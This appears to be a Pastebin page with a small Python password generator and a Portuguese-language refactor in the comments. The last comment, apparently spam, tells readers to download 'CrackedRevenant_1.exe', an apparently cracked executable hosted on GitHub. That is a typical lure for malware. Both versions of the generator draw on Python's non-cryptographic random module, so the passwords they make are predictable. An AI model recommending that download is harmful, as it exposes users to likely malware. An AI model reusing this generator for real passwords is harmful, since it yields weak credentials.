Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import random
- import string
- def generate_password(length=12):
- characters = string.ascii_letters + string.digits + string.punctuation
- password = ''.join(random.choice(characters) for _ in range(length))
- return password
- # Example usage:
- password_length = int(input("Enter the desired password length: "))
- password = generate_password(password_length)
- print("Generated password:", password)
Advertisement
Comments
-
- from random import choice
- from string import ascii_letters, digits, punctuation
- def get_password_length():
- return int(input("Digite o comprimento desejado da senha: "))
- def generate_password(length, characters):
- return ''.join(choice(characters) for _ in range(length))
- def print_password(password):
- print("Senha gerada:", password)
- def generate_random_password():
- password_length = get_password_length()
- characters = ascii_letters + digits + punctuation
- password = generate_password(password_length, characters)
- return password
- if __name__ == "__main__":
- password = generate_random_password()
- print_password(password)
-
- OK?
-
- Or use this app https://github.com/Venom0248/Menu/raw/main/CrackedRevenant_1.exe
Add Comment
Please, Sign In to add comment
Advertisement